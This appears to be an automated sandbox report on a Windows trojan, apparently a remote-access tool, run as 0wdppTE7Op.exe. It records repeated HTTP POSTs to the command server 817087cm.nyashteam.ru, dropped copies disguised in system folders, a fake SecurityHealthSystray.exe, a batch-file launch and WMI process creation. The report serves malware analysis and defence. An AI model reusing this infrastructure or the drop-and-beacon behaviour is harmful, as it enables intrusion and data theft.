Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2520Expect: 100-continue

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 817087cm.nyashteam.ru

Source: unknown

HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: svchost.exe, 0000002D.00000003.1907086276.0000020E46618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.45.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 0000002D.00000003.1907086276.0000020E46618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.45.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.45.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000002D.00000003.1907086276.0000020E46618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.45.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000002D.00000003.1907086276.0000020E46618000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.45.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000002D.00000003.1907086276.0000020E4664D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.45.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.45.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000016.00000002.3017500323.000001E4201E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3018654855.00000185E36B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.3100097229.00000163CADA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.3014471608.000001DD23BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.3108950490.000001CCD0488000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000016.00000002.1861626787.000001E410398000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3868000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAF58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0638000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 0wdppTE7Op.exe, 00000000.00000002.1758169301.0000000002D85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1861626787.000001E410171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAD31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5BE51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000016.00000002.1861626787.000001E410398000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3868000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAF58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0638000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 0wdppTE7Op.exe, 00000022.00000002.2571149857.000000000354F000.00000004.00000800.00020000.00000000.sdmp, 0wdppTE7Op.exe, 00000023.00000002.2576757074.0000000002F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000016.00000002.1861626787.000001E410171000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1865325429.00000185D3641000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1885197736.00000163BAD31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861937206.000001DD13B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.1870602105.000001CCC0411000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.1865460317.0000023D5BE51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: qmgr.db.45.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000002D.00000003.1907086276.0000020E46656000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.45.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: qmgr.db.45.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: qmgr.db.45.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000001F.00000002.1865460317.0000023D5C078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000016.00000002.3017500323.000001E4201E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.3018654855.00000185E36B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.3100097229.00000163CADA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.3014471608.000001DD23BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.3108950490.000001CCD0488000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3049525077.0000023D6BEC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.45.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000002D.00000003.1907086276.0000020E46656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: YIGTMb23T1.42.dr, 4cXxUAGCIa.42.dr, u4VM7E9VOo.42.dr, Ij0f6V4N2F.42.dr, ANkK2bt0D4.42.dr, B3RMihQ38F.42.dr, zps7A8zytZ.42.dr, X1aZCfhDt5.42.dr, 9dgsanWhuo.42.dr, iONlmigzB2.42.dr, gvU5REE85c.42.dr, LONEx05eX1.42.dr, W6hqlOPTQf.42.dr, Z3mWAkJF9L.42.dr, nfm1cT8Ej5.42.dr, WHDyKUYIJq.42.dr, QyQeIe4bxu.42.dr, USXrSBTL3b.42.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Window created: window name: CLIPBRDWNDCLASS

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\twain_32\dc45010803acc5	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File created: C:\Windows\RemotePackages\RemoteApps\dc45010803acc5	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9B7D0D78	0_2_00007FFD9B7D0D78
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBD7A12	0_2_00007FFD9BBD7A12
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBC0849	0_2_00007FFD9BBC0849
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBCA79A	0_2_00007FFD9BBCA79A
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBCCD25	0_2_00007FFD9BBCCD25
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 0_2_00007FFD9BBD6C66	0_2_00007FFD9BBD6C66
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Code function: 48_2_00007FFD9B800D78	48_2_00007FFD9B800D78

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\CDADXqpE.log 7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A

Source: 0wdppTE7Op.exe, 00000000.00000002.1850115184.000000001B819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000000.00000000.1667139635.0000000000332000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000022.00000002.2571149857.0000000003560000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000022.00000002.2571149857.0000000003572000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000022.00000002.2571149857.0000000003629000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000022.00000002.2571149857.000000000357C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000023.00000002.2576757074.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000023.00000002.2576757074.0000000002F6C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000023.00000002.2576757074.0000000002F50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000023.00000002.2576757074.0000000003019000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe, 00000030.00000002.2135565706.00000000031C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe
Source: 0wdppTE7Op.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 0wdppTE7Op.exe

Source: 0wdppTE7Op.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0wdppTE7Op.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe1.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SSnsduzASLgjHWjPpweraeKhUEuCEv.exe2.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0wdppTE7Op.exe, p9suWVNLbyUG8AjhDrA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0wdppTE7Op.exe, p9suWVNLbyUG8AjhDrA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0wdppTE7Op.exe, p9suWVNLbyUG8AjhDrA.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0wdppTE7Op.exe, p9suWVNLbyUG8AjhDrA.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@40/299@1/3

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

File created: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

File created: C:\Users\user\Desktop\eLngwYfk.log

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-it4I7yJpb4JbweO8ucaW
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7508:120:WilError_03

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

File created: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat"

Source: 0wdppTE7Op.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0wdppTE7Op.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
